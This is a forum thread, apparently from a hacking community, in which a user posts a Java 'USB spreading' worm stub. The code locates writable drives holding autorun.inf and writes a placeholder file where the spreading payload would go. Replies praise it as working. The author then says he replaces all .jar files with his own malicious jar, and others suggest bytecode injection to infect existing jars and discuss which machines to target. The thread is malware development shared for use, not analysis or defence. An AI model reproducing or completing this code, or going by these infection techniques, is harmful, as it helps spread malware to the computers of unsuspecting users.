[Ϲasp3r]

Whipped this together today:

Code

//USB SPREADING
//POC BY CASPER
//
//Not the best way to find USBs but works generally
//
// Oct. 08th 2013


import java.io.*;
public class worm {

    public static void main(String[] args){
        File[] roots = File.listRoots();

        if (roots == null) {
            // you have a different problem here.  Is it even a computer we are talking about?
        }

        // Iterate through roots
        for (File root : roots) {
            if (root.canWrite()) {
                //System.out.println(root.getAbsolutePath());
                for(int file = 0; file < root.listFiles().length; file++){
                    //System.out.println(root.listFiles()[file].getPath());
                    if(root.listFiles()[file].getAbsolutePath().substring(root.listFiles()[file].getAbsolutePath().lastIndexOf("\\")+1).equals("autorun.inf")){
                        String fname = root.getAbsolutePath() + "test.txt";
                        
                        try{
                            //Execute the spreading now that you have where the USB is
                            //This is an example for show
                            FileWriter outfile = new FileWriter(fname);

                            outfile.write("hi");
                            outfile.close();
                        }catch(IOException e){
                            System.out.println("IO Issue");
                            return;

                        }
                    }
                }

            }
        }
    }

}

http://pastebin.com/3dVZ5aGg


Not "complete" but if you know what you're doing its good enough!

[Vource]

Thanks for this mate!

If you know what your doing it work's perfectly :D

Cheers!
~Vource 🤝

[Debroski]

Yes it might copy it on but what do you want past that? You can't auto run anymore so USB spreading is kind of dead.

[Ϲasp3r]

Yes it might copy it on but what do you want past that? You can't auto run anymore so USB spreading is kind of dead.

I've already made something that replaces all .jar files with the my malicious .jar :D this was just a snippit of a huge project i've been working on. You can check some of my threads for other snippets of java based malware and Proof of concept designs.

[Not2EXceL]

I've already made something that replaces all .jar files with the my malicious .jar :D this was just a snippit of a huge project i've been working on. You can check some of my threads for other snippets of java based malware and Proof of concept designs.

Why wouldn't you just use byte code injection to infect the current jars. Would be much simpler/effective in the end.

[Firen4000]

You should probably know that few people have actual jar-files on their computer that they regularly use. Java is mainly installed for browsers (this may have changed a little with minecraft^^ but i would not recommend using Minecraft as the only chance to infect a computer)

[Ϲasp3r]

Why wouldn't you just use byte code injection to infect the current jars. Would be much simpler/effective in the end.

technically the method i use overwrites the bytecode of the jars with my bytecode.